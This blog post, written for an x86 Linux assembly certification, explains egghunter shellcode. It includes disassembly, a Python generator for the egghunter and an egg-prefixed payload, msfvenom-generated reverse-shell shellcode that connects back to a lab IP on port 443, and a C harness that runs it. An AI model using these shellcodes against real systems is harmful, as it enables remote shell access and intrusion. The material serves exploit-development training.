The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990
Assignment #3
Goals
- Explain what an egghunter is
- Create a working demo
- Configurable:
- Be able to specify the egg value and second stage payload
- The egghunter shellcode will be generated to search for this egg
- Two shellcodes are emmitted; one for the egghunter and one for the second stage payload prefixed with the egg
What is an egghunter?
An egghunter is shellcode that crawls the processes Virtual Address Space (VAS) for another piece of shellcode to execute. The search by default would occur from the location of the egghunter code onward searching each byte for a 4 or 8 byte “egg” to indicate where the next payload to execute is at.
The egghunter technique is used when there is not enough room for a full payload in the space that was exploitable in the application. Further, there must be some way to inject the second stage payload into the applications memory space. This could be through an additional header if it was a web request, or it could be simply making another call to a command somewhere else in the application where the data was persisted in memory.
In all cases, this means that in our exploit where we took control of EIP there was not a way to jump to the suitable location.
Existing egghunters
A well-known writeup on creating egghunters is by Skape at http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf and it is a popular read for those interested in implementing an egghunter. The focus of this post is on the x86/Linux egghunters only.
There are two important things for an egghunter to function properly:
- It must find our shellcode wherever it is in memory and run it
- It must avoid crashing due to unreadable memory locations, that is, it must check whether it has access to each block of memory before testing it for the egg bytes
Conditions of the egg
Size
The egg can be either 4 or 8 bytes and it seems the best size is 8 bytes. The primary reasoning behind this which makes the most sense is that the egghunter shellcode will have the first 4 bytes in it since it needs to search for the egg. If the egghunter ends up running into itself it can incorrectly believe it has found the egg when it has not.
The egg should be the same 4 bytes duplicated.
value
A standard value used is 57303054 but other values such as 90509050 are also used. The main consideration is using something that is unlikely to be present in the actual program as well as something that has benign instructions associated with it. Depending on the egghunter it may end up executing the instructions or may jump over it completely.
Both of these could run without causing much problem as they only contain pushes, NOP’s, and a XOR. If jumps or other instructions were generated it could be problematic.
1
2
3
4
EGG = 57303054
0: 57 push edi
1: 30 30 xor BYTE PTR [eax],dh
3: 54 push esp
1
2
3
4
5
EGG = 90509050
0: 90 nop
1: 50 push eax
2: 90 nop
3: 50 push eax
Implementation
Since there are highly optimized versions of the egghunter available we’ll focus on analyzing one that is best used for our situation and understand each line of assembly. We will then create a working demo of the egghunter and see it actually work in practice.
The following implementation utilizes the access system call to determine if a block of memory is invalid or not. This implementation also does not execute the egg instructions so that is not a concern either.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00000000 31D2 xor edx,edx
00000002 6681CAFF0F or dx,0xfff
00000007 42 inc edx
00000008 8D5A04 lea ebx,[edx+0x4]
0000000B 6A21 push byte +0x21
0000000D 58 pop eax
0000000E CD80 int 0x80
00000010 3CF2 cmp al,0xf2
00000012 74EE jz 0x2
00000014 B890509050 mov eax,0x50905090
00000019 89D7 mov edi,edx
0000001B AF scasd
0000001C 75E9 jnz 0x7
0000001E AF scasd
0000001F 75E6 jnz 0x7
00000021 FFE7 jmp edi
Breaking down the assembly
The edx register is zeroed out as it will be tracking the memory locations that we’ll be comparing our egg with. When we find it we will jump to EDI where the shellcode should reside.
1
00000000 31D2 xor edx,edx
The next two instructions will allow us to move up a full PAGE_SIZE. When we check for access, it will apply for the entire memory segment so if it fails then there is no need to continue check bytes. On my system, I checked the page size via the command getconf PAGE_SIZE
which yielded 4096
which is why 0xfff
would make sense.
1
2
00000002 6681CAFF0F or dx,0xfff
00000007 42 inc edx
We are loading the effective address of edx plus 4 bytes into ebx. This is in preparation of the upcoming access check which will be performed against this memory location.
1
00000008 8D5A04 lea ebx,[edx+0x4]
The system call for access is 33 so the hex conversion of this is 0x21 of which we push to the stack and immediately pop back onto eax to prepare for the system call.
1
2
3
0000000B 6A21 push byte +0x21
0000000D 58 pop eax
0000000E CD80 int 0x80
The result of the access check is compared with 0xf2 which is the low byte of the EFAULT return value (the address points outside of the accessible address space). If the value matches then we don’t have access to this memory page and should skip over it; thus we jump back to the second instruction of the egghunter which moves us a page ahead.
1
2
00000010 3CF2 cmp al,0xf2
00000012 74EE jz 0x2
At this point we load the egg value into eax, and move edx into edi (which allows for the use of the scasd instruction which compares eax with dword at edi then set status flags).
1
2
3
00000014 B890509050 mov eax,0x50905090
00000019 89D7 mov edi,edx
0000001B AF scasd
If there is no match then it jumps back to increment edx to check the next the next 4 bytes. If it does match then it does a second check of the next 4 bytes after the match to see if we have the full 8 byte egg.
1
2
3
0000001C 75E9 jnz 0x7
0000001E AF scasd
0000001F 75E6 jnz 0x7
Finally, upon a successful match, edi should be now pointing to the first byte of the second stage payload. We jump to that location to allow execution of the second stage payload.
1
00000021 FFE7 jmp edi
Creating a working demo
I have re-written the egghunter to have labels to jump to when we move to next memory page or next byte. An objdump of the assembly is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
egghunter: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 d2 xor edx,edx
08048062 <next_page>:
8048062: 66 81 ca ff 0f or dx,0xfff
08048067 <next_byte>:
8048067: 42 inc edx
8048068: 8d 5a 04 lea ebx,[edx+0x4]
804806b: 6a 21 push 0x21
804806d: 58 pop eax
804806e: cd 80 int 0x80
8048070: 3c f2 cmp al,0xf2
8048072: 74 ee je 8048062 <next_page>
8048074: b8 90 50 90 50 mov eax,0x50905090
8048079: 89 d7 mov edi,edx
804807b: af scas eax,DWORD PTR es:[edi]
804807c: 75 e9 jne 8048067 <next_byte>
804807e: af scas eax,DWORD PTR es:[edi]
804807f: 75 e6 jne 8048067 <next_byte>
8048081: ff e7 jmp edi
We can save this as exploit ready hex and define where the 4 byte “egg” is located for configurability later.
1
2
[sengen@manjaro-x86 assignment3]$ objdump -d ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
Python script to help generate egghunter+payload
So we can now write a quick python program to take in the egg value and any given payload and emmit the two formatted hex strings that can be used in an exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
from optparse import OptionParser
def to_hex(val):
return ''.join('\\x' + val[i:i + 2] for i in range(0, len(val), 2))
parser = OptionParser()
parser.description = "Generates egghunter shellcode with payload."
parser.add_option("-e", "--egg", dest="egg", help="The 4 byte egg to use (e.g. 90509050)", type="string")
parser.add_option("-p", "--payload", dest="payload", help="Payload shellcode (e.g. \\x31\\xc0\\...)", type="string")
(options, args) = parser.parse_args()
if not options.egg or not options.payload:
parser.print_help()
exit(1)
if not len(options.egg) == 8:
print("Invalid egg size")
exit(1)
egghunter = (
"\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x8d\\x5a\\x04\\x6a\\x21\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xee\\xb8"
+ to_hex(options.egg)
+ "\\x89\\xd7\\xaf\\x75\\xe9\\xaf\\x75\\xe6\\xff\\xe7")
payload = (to_hex(options.egg) + to_hex(options.egg) + options.payload)
print("\nEgghunter = \"" + egghunter + "\"")
print("Payload = \"" + payload + "\"\n")
Generating payload to test script
1
2
3
4
5
6
7
8
9
10
11
12
13
root@sengen-kali2:~# msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.122 lport=443 -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 342 bytes
buf = ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += "\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"
1
2
3
4
[sengen@manjaro-x86 assignment3]$ python create_egg_hunter.py -e 90509050 -p "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Egghunter = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
Payload = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Testing in a C program
From the output of our script we can add it to a small C program to execute the egghunter shellcode. Since the payload is also defined as a variable it will be stored somewhere in memory for the egghunter to find.
[sengen@manjaro-x86 assignment3]$ gcc shellcode.c -o shellcode
1
2
3
4
5
6
7
8
9
10
11
12
#include <string.h>
#include <stdio.h>
main()
{
char egghunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
char payload[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int (*ret)() = (int(*)())egghunter;
ret();
}